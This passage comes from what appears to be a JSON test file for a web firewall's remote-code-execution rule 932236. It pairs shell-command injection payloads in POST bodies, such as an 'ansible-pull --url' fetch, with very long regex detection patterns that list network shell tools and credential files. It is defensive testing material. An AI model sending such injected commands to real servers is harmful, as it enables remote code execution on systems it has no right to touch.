\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:(?:t|rl)(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|ontab))|d(?:(?:[dfu]|i(?:(?:alo)?g|ff)|ash|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:b|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|letest|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|(?:rb|conv)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|inks|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|il[qx]|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:t(?:[\\s\\x0b&\\),<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s\\x0b&\\),<>\\|]|$)|sh))|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:a(?:r|k[eu])|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:[\\s\\x0b&\\),<>\\|]|$|p(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:d(?:[\\s\\x0b&\\),<>\\|]|$|carpet(?:[\\s\\x0b&\\),<>\\|]|$))|(?:v|boot|place)(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|ript)|g|ash|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|sh(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:cat(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|skset)|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|medatectl)|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|pdate-alternatives|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:3m|c|atch|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|oami)|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|y(?:um|arn|elp)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932236", "test_description": "Block ansible-doc command" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=ansible-inventory --list\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\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\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:(?:t|rl)(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|ontab))|d(?:(?:[dfu]|i(?:(?:alo)?g|ff)|ash|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:b|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|letest|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|(?:rb|conv)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|inks|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|il[qx]|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:t(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|st)at|kit-ftp|plan)|ofetch)|(?:l|p(?:m|ing)|a(?:no|sm|wk)|ice|o(?:de|hup)|roff)(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:[\\s\\x0b&\\),<>\\|]|$|ap(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:(?:d|ctave)(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:x|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:[\\s\\x0b&\\),<>\\|]|$|2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|f(?:[\\s\\x0b&\\),<>\\|]|$|tp(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$|o(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:[^\\s\\x0b]{1,10}\\b|[\\s\\x0b&\\),<>\\|]|$)|dstat|(?:gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$))|k(?:g(?:[\\s\\x0b&\\),<>\\|]|$|_?info)|exec|ill(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:[\\s\\x0b&\\),<>\\|]|$|y(?:[\\s\\x0b&\\),<>\\|]|$)|int(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$)))|t(?:x(?:[\\s\\x0b&\\),<>\\|]|$)|ar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep))|wd(?:[\\s\\x0b&\\),<>\\|]|$|\\.db)|(?:xz|grep|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:a(?:r|k[eu])|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:[\\s\\x0b&\\),<>\\|]|$|p(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:d(?:[\\s\\x0b&\\),<>\\|]|$|carpet(?:[\\s\\x0b&\\),<>\\|]|$))|(?:v|boot|place)(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|ript)|g|ash|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|sh(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:cat(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|skset)|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|medatectl)|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|pdate-alternatives|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:3m|c|atch|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|oami)|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|y(?:um|arn|elp)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932236", "test_description": "Block dumping ansible inventory file and variables" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=ansible-pull --url example.com\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\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[\\\"'-\\+\\--9\\?A-\\]_a-z\\|]+/)?[\\\"'\\x5c]*(?:7z(?:[\\s\\x0b&\\),<>\\|]|$|[arx](?:[\\s\\x0b&\\),<>\\|]|$))|a(?:a-[^\\s\\x0b]{1,10}\\b|(?:b|w[ks]|l(?:ias|pine)|tobm|xel)(?:[\\s\\x0b&\\),<